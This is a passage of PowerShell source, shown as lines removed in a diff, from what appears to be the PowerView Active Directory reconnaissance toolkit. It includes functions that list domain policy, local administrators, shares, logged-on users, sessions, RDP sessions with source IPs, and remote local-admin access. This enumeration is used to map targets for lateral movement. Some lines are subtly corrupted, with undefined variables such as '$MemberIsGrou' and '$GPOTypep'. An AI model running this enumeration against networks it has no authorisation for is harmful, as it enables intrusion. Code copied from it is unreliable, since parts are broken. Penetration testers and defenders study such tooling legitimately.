$GPOGroup.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOGroup.GPOType - $GPOComputerAdmin - - # if we're recursing and the current result object is a group - if($Recurse -and $GPOComputerAdmin.isGroup) { - - Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | ForEach-Object { - - $MemberDN = $_.distinguishedName - - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype - - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName - } - else { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } - } - - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $MemberName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $MemberDN - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_.objectsid - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $MemberIsGrou - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' $GPOGroup.GPOPath - $GPOComputerAdmin | Add-Member Noteproperty 'GPOType' $GPOTypep - $GPOComputerAdmin - } - } - } - } - } -} - - -function Get-DomainPolicy { -<# - .SYNOPSIS - - Returns the default domain or DC policy for a given - domain or domain controller. - - Thanks Sean Metacalf (@pyrotek3) for the idea and guidance. - - .PARAMETER Source - - Extract Domain or DC (domain controller) policies. - - .PARAMETER Domain - - The domain to query for default policies, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ResolveSids - - Switch. Resolve Sids from a DC policy to object names. - - .PARAMETER UsePSDrive - - Switch. Mount any found policy files with temporary PSDrives. - - .EXAMPLE - - PS C:\> Get-DomainPolicy - - Returns the domain policy for the current domain. - - .EXAMPLE - - PS C:\> Get-DomainPolicy -Source DC -DomainController MASTER.testlab.local - - Returns the policy for the MASTER.testlab.local domain controller. -#> - - [CmdletBinding()] - Param ( - [String] - [ValidateSet("Domain","DC")] - $Source ="Domain", - - [String] - $Domain, - - [String] - $DomainController, - - [Switch] - $ResolveSids, - - [Switch] - $UsePSDrive - ) - - if($Source -eq "Domain") { - # query the given domain for the default domain policy object - $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{31B2F340-016D-11D2-945F-00C04FB984F9}" - - if($GPO) { - # grab the GptTmpl.inf file and parse it - $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - - $ParseArgs = @{ - 'GptTmplPath' = $GptTmplPath - 'UsePSDrive' = $UsePSDrive - } - - # parse the GptTmpl.inf - Get-GptTmpl @ParseArgs - } - - } - elseif($Source -eq "DC") { - # query the given domain/dc for the default domain controller policy object - $GPO = Get-NetGPO -Domain $Domain -DomainController $DomainController -GPOname "{6AC1786C-016F-11D2-945F-00C04FB984F9}" - - if($GPO) { - # grab the GptTmpl.inf file and parse it - $GptTmplPath = $GPO.gpcfilesyspath + "\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - - $ParseArgs = @{ - 'GptTmplPath' = $GptTmplPath - 'UsePSDrive' = $UsePSDrive - } - - # parse the GptTmpl.inf - Get-GptTmpl @ParseArgs | ForEach-Object { - if($ResolveSids) { - # if we're resolving sids in PrivilegeRights to names - $Policy = New-Object PSObject - $_.psobject.properties | ForEach-Object { - if( $_.Name -eq 'PrivilegeRights') { - - $PrivilegeRights = New-Object PSObject - # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate - $_.Value.psobject.properties | ForEach-Object { - - $Sids = $_.Value | ForEach-Object { - try { - if($_ -isnot [System.Array]) { - Convert-SidToName $_ - } - else { - $_ | ForEach-Object { Convert-SidToName $_ } - } - } - catch { - Write-Verbose "Error resolving SID : $_" - } - } - - $PrivilegeRights | Add-Member Noteproperty $_.Name $Sids - } - - $Policy | Add-Member Noteproperty 'PrivilegeRights' $PrivilegeRights - } - else { - $Policy | Add-Member Noteproperty $_.Name $_.Value - } - } - $Policy - } - else { $_ } - } - } - } -} - - - -######################################################## -# -# Functions that enumerate a single host, either through -# WinNT, WMI, remote registry, or API calls -# (with PSReflect). -# -######################################################## - -function Get-NetLocalGroup { -<# - .SYNOPSIS - - Gets a list of all current users in a specified local group, - or returns the names of all local groups with -ListGroups. - - .PARAMETER ComputerName - - The hostname or IP to query for local group users. - - .PARAMETER ComputerFile - - File of hostnames/IPs to query for local group users. - - .PARAMETER GroupName - - The local group name to query for users. If not given, it defaults to "Administrators" - - .PARAMETER ListGroups - - Switch. List all the local groups instead of their members. - Old Get-NetLocalGroups functionality. - - .PARAMETER Recurse - - Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. - - .PARAMETER API - - Switch. Use API calls instead of the WinNT service provider. Less information, - but the results are faster. - - .EXAMPLE - - PS C:\> Get-NetLocalGroup - - Returns the usernames that of members of localgroup "Administrators" on the local host. - - .EXAMPLE - - PS C:\> Get-NetLocalGroup -ComputerName WINDOWSXP - - Returns all the local administrator accounts for WINDOWSXP - - .EXAMPLE - - PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -Recurse - - Returns all effective local/domain users/groups that can access WINDOWS7 with - local administrative privileges. - - .EXAMPLE - - PS C:\> Get-NetLocalGroup -ComputerName WINDOWS7 -ListGroups - - Returns all local groups on the WINDOWS7 host. - - .EXAMPLE - - PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API - - Returns all local groups on the the passed hosts using API calls instead of the - WinNT service provider. - - .LINK - - http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together - http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx -#> - - [CmdletBinding(DefaultParameterSetName = 'WinNT')] - param( - [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)] - [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] - [Alias('HostName')] - [String[]] - $ComputerName = $Env:ComputerName, - - [Parameter(ParameterSetName = 'WinNT')] - [Parameter(ParameterSetName = 'API')] - [ValidateScript({Test-Path -Path $_ })] - [Alias('HostList')] - [String] - $ComputerFile, - - [Parameter(ParameterSetName = 'WinNT')] - [Parameter(ParameterSetName = 'API')] - [String] - $GroupName = 'Administrators', - - [Parameter(ParameterSetName = 'WinNT')] - [Switch] - $ListGroups, - - [Parameter(ParameterSetName = 'WinNT')] - [Switch] - $Recurse, - - [Parameter(ParameterSetName = 'API')] - [Switch] - $API - ) - - process { - - $Servers = @() - - # if we have a host list passed, grab it - if($ComputerFile) { - $Servers = Get-Content -Path $ComputerFile - } - else { - # otherwise assume a single host name - $Servers += $ComputerName | Get-NameField - } - - # query the specified group using the WINNT provider, and - # extract fields as appropriate from the results - ForEach($Server in $Servers) { - - if($API) { - # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information - - # arguments for NetLocalGroupGetMembers - $QueryLevel = 2 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get the local user information - $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() - - $LocalUsers = @() - - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 - - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - - $SidString = "" - $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - - if($Result2 -eq 0) { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" - } - else { - $LocalUser = New-Object PSObject - $LocalUser | Add-Member Noteproperty 'ComputerName' $Server - $LocalUser | Add-Member Noteproperty 'AccountName' $Info.lgrmi2_domainandname - $LocalUser | Add-Member Noteproperty 'SID' $SidString - - $IsGroup = $($Info.lgrmi2_sidusage -ne 'SidTypeUser') - $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - - $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUserAPI') - - $LocalUsers += $LocalUser - } - } - - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - - # try to extract out the machine SID by using the -500 account as a reference - $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'} - try { - $Parts = $MachineSid.SID.Split('-') - $MachineSid = $Parts[0..($Parts.Length -2)] -join '-' - - $LocalUsers | ForEach-Object { - if($_.SID -match $MachineSid) { - $_ | Add-Member Noteproperty 'IsDomain' $False - } - else { - $_ | Add-Member Noteproperty 'IsDomain' $True - } - } - $LocalUsers - } - catch { - Write-Verbose "Error retrieving machine SID for $Server" - } - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" - } - } - - else { - # otherwise we're using the WinNT service provider - try { - if($ListGroups) { - # if we're listing the group names on a remote server - $Computer = [ADSI]"WinNT://$Server,computer" - - $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { - $Group = New-Object PSObject - $Group | Add-Member Noteproperty 'Server' $Server - $Group | Add-Member Noteproperty 'Group' ($_.name[0]) - $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) - $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) - $Group.PSObject.TypeNames.Add('PowerView.LocalGroup') - $Group - } - } - else { - # otherwise we're listing the group members - $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) - - $Members | ForEach-Object { - - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' $Server - - $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') - - # try to translate the NT4 domain to a FQDN if possible - $Name = Convert-ADName -ObjectName $AdsPath -InputType 'NT4' -OutputType 'Canonical' - - if($Name) { - $FQDN = $Name.split("/")[0] - $ObjName = $AdsPath.split("/")[-1] - $Name = "$FQDN/$ObjName" - $IsDomain = $True - } - else { - $Name = $AdsPath - $IsDomain = $False - } - - $Member | Add-Member Noteproperty 'AccountName' $Name - - if($IsDomain) { - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) - - $Member | Add-Member Noteproperty 'Description' "" - $Member | Add-Member Noteproperty 'Disabled' $False - - # check if the member is a group - $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') - $Member | Add-Member Noteproperty 'IsGroup' $IsGroup - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' $Null - } - else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' $Null - } - } - $Member | Add-Member Noteproperty 'PwdLastSet' "" - $Member | Add-Member Noteproperty 'PwdExpired' "" - $Member | Add-Member Noteproperty 'UserFlags' "" - } - else { - # repull this user object so we can ensure correct information - $LocalUser = $([ADSI] "WinNT://$AdsPath") - - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) - - $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) - - # UAC flags of 0x2 mean the account is disabled - $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) - - # check if the member is a group - $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' "" - } - else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' "" - } - } - - $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) - $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') - $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) - } - $Member.PSObject.TypeNames.Add('PowerView.LocalUser') - $Member - - # if the result is a group domain object and we're recursing, try to resolve all the group member results - if($Recurse -and $IsDomain -and $IsGroup) { - - $FQDN = $Name.split("/")[0] - $GroupName = $Name.split("/")[1].trim() - - Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { - - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" - - $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - - $MemberIsGroup = @('268435456','268435457','536870912','536870913') -contains $_.samaccounttype - - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName - } - else { - try { - # external trust users have a SID, so convert it - try { - $MemberName = Convert-SidToName $_.cn - } - catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn - } - } - catch { - Write-Verbose "Error resolving SID : $_" - } - } - - $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" - $Member | Add-Member Noteproperty 'SID' $_.objectsid - $Member | Add-Member Noteproperty 'Description' $_.description - $Member | Add-Member Noteproperty 'Disabled' $False - $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $Member | Add-Member Noteproperty 'IsDomain' $True - $Member | Add-Member Noteproperty 'LastLogin' '' - $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet - $Member | Add-Member Noteproperty 'PwdExpired' '' - $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl - $Member.PSObject.TypeNames.Add('PowerView.LocalUser') - $Member - } - } - } - } - } - catch { - Write-Warning "[!] Error: $_" - } - } - } - } -} - - -filter Get-NetShare { -<# - .SYNOPSIS - - This function will execute the NetShareEnum Win32API call to query - a given host for open shares. This is a replacement for - "net share \\hostname" - - .PARAMETER ComputerName - - The hostname to query for shares. Also accepts IP addresses. - - .OUTPUTS - - SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 - result structure which includes the name and note for each share, - with the ComputerName added. - - .EXAMPLE - - PS C:\> Get-NetShare - - Returns active shares on the local host. - - .EXAMPLE - - PS C:\> Get-NetShare -ComputerName sqlserver - - Returns active shares on the 'sqlserver' host - - .EXAMPLE - - PS C:\> Get-NetComputer | Get-NetShare - - Returns all shares for all computers in the domain. - - .LINK - - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) - - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # arguments for NetShareEnum - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get the share information - $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() - - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SHARE_INFO_1::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SHARE_INFO_1 - - # return all the sections of the structure - $Shares = $Info | Select-Object * - $Shares | Add-Member Noteproperty 'ComputerName' $Computer - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $Shares - } - - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" - } -} - - -filter Get-NetLoggedon { -<# - .SYNOPSIS - - This function will execute the NetWkstaUserEnum Win32API call to query - a given host for actively logged on users. - - .PARAMETER ComputerName - - The hostname to query for logged on users. - - .OUTPUTS - - WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 - result structure which includes the username and domain of logged on users, - with the ComputerName added. - - .EXAMPLE - - PS C:\> Get-NetLoggedon - - Returns users actively logged onto the local host. - - .EXAMPLE - - PS C:\> Get-NetLoggedon -ComputerName sqlserver - - Returns users actively logged onto the 'sqlserver' host. - - .EXAMPLE - - PS C:\> Get-NetComputer | Get-NetLoggedon - - Returns all logged on userse for all computers in the domain. - - .LINK - - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) - - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # Declare the reference variables - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get logged on user information - $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() - - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WKSTA_USER_INFO_1::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 - - # return all the sections of the structure - $LoggedOn = $Info | Select-Object * - $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $LoggedOn - } - - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" - } -} - - -filter Get-NetSession { -<# - .SYNOPSIS - - This function will execute the NetSessionEnum Win32API call to query - a given host for active sessions on the host. - Heavily adapted from dunedinite's post on stackoverflow (see LINK below) - - .PARAMETER ComputerName - - The ComputerName to query for active sessions. - - .PARAMETER UserName - - The user name to filter for active sessions. - - .OUTPUTS - - SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 - result structure which includes the host and username associated - with active sessions, with the ComputerName added. - - .EXAMPLE - - PS C:\> Get-NetSession - - Returns active sessions on the local host. - - .EXAMPLE - - PS C:\> Get-NetSession -ComputerName sqlserver - - Returns active sessions on the 'sqlserver' host. - - .EXAMPLE - - PS C:\> Get-NetDomainController | Get-NetSession - - Returns active sessions on all domain controllers. - - .LINK - - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost', - - [String] - $UserName = '' - ) - - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # arguments for NetSessionEnum - $QueryLevel = 10 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - - # get session information - $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() - - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SESSION_INFO_10::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SESSION_INFO_10 - - # return all the sections of the structure - $Sessions = $Info | Select-Object * - $Sessions | Add-Member Noteproperty 'ComputerName' $Computer - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - $Sessions - } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" - } -} - - -filter Get-LoggedOnLocal { -<# - .SYNOPSIS - - This function will query the HKU registry values to retrieve the local - logged on users SID and then attempt and reverse it. - Adapted technique from Sysinternal's PSLoggedOn script. Benefit over - using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges - required (NetWkstaUserEnum requires remote admin access). - - Note: This function requires only domain user rights on the - machine you're enumerating, but remote registry must be enabled. - - Function: Get-LoggedOnLocal - Author: Matt Kelly, @BreakersAll - - .PARAMETER ComputerName - - The ComputerName to query for active sessions. - - .EXAMPLE - - PS C:\> Get-LoggedOnLocal - - Returns active sessions on the local host. - - .EXAMPLE - - PS C:\> Get-LoggedOnLocal -ComputerName sqlserver - - Returns active sessions on the 'sqlserver' host. - -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName - - try { - # retrieve HKU remote registry values - $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName") - - # sort out bogus sid's like _class - $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object { - $UserName = Convert-SidToName $_ - - $Parts = $UserName.Split('\') - $UserDomain = $Null - $UserName = $Parts[-1] - if ($Parts.Length -eq 2) { - $UserDomain = $Parts[0] - } - - $LocalLoggedOnUser = New-Object PSObject - $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName" - $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName - $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_ - $LocalLoggedOnUser - } - } - catch { - Write-Verbose "Error opening remote registry on '$ComputerName'" - } -} - - -filter Get-NetRDPSession { -<# - .SYNOPSIS - - This function will execute the WTSEnumerateSessionsEx and - WTSQuerySessionInformation Win32API calls to query a given - RDP remote service for active sessions and originating IPs. - This is a replacement for qwinsta. - - Note: only members of the Administrators or Account Operators local group - can successfully execute this functionality on a remote target. - - .PARAMETER ComputerName - - The hostname to query for active RDP sessions. - - .EXAMPLE - - PS C:\> Get-NetRDPSession - - Returns active RDP/terminal sessions on the local host. - - .EXAMPLE - - PS C:\> Get-NetRDPSession -ComputerName "sqlserver" - - Returns active RDP/terminal sessions on the 'sqlserver' host. - - .EXAMPLE - - PS C:\> Get-NetDomainController | Get-NetRDPSession - - Returns active RDP/terminal sessions on all domain controllers. -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) - - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # open up a handle to the Remote Desktop Session host - $Handle = $Wtsapi32::WTSOpenServerEx($Computer) - - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { - - # arguments for WTSEnumerateSessionsEx - $ppSessionInfo = [IntPtr]::Zero - $pCount = 0 - - # get information on all current sessions - $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - - # Locate the offset of the initial intPtr - $Offset = $ppSessionInfo.ToInt64() - - if (($Result -ne 0) -and ($Offset -gt 0)) { - - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WTS_SESSION_INFO_1::GetSize() - - # parse all the result structures - for ($i = 0; ($i -lt $pCount); $i++) { - - # create a new int ptr at the given offset and cast the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 - - $RDPSession = New-Object PSObject - - if ($Info.pHostName) { - $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName - } - else { - # if no hostname returned, use the specified hostname - $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer - } - - $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName - - if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { - # if a domain isn't returned just use the username - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" - } - else { - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" - } - - $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID - $RDPSession | Add-Member Noteproperty 'State' $Info.State - - $ppBuffer = [IntPtr]::Zero - $pBytesReturned = 0 - - # query for the source client IP with WTSQuerySessionInformation - # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx - $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - - if($Result -eq 0) { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" - } - else { - $Offset2 = $ppBuffer.ToInt64() - $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 - $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS - - $SourceIP = $Info2.Address - if($SourceIP[2] -ne 0) { - $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] - } - else { - $SourceIP = $Null - } - - $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP - $RDPSession - - # free up the memory buffer - $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) - - $Offset += $Increment - } - } - # free up the memory result buffer - $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) - } - else { - Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" - } - # Close off the service handle - $Null = $Wtsapi32::WTSCloseServer($Handle) - } - else { - Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" - } -} - - -filter Invoke-CheckLocalAdminAccess { -<# - .SYNOPSIS - - This function will use the OpenSCManagerW Win32API call to establish - a handle to the remote host. If this succeeds, the current user context - has local administrator acess to the target. - - Idea stolen from the local_admin_search_enum post module in Metasploit written by: - 'Brandon McCann "zeknox" ' - 'Thomas McCarthy "smilingraccoon" ' - 'Royce Davis "r3dy" ' - - .PARAMETER ComputerName - - The hostname to query for active sessions. - - .OUTPUTS - - $True if the current user has local admin access to the hostname, $False otherwise - - .EXAMPLE - - PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver - - Returns active sessions on the local host. - - .EXAMPLE - - PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess - - Sees what machines in the domain the current user has access to. - - .LINK - - https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ -#> - - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [Alias('HostName')] - [Object[]] - [ValidateNotNullOrEmpty()] - $ComputerName = 'localhost' - ) - - # extract the computer name from whatever object was passed on the pipeline - $Computer = $ComputerName | Get-NameField - - # 0xF003F - SC_MANAGER_ALL_ACCESS - # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - - Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle" - - $IsAdmin = New-Object PSObject - $IsAdmin | Add-Member Noteproperty 'ComputerName' 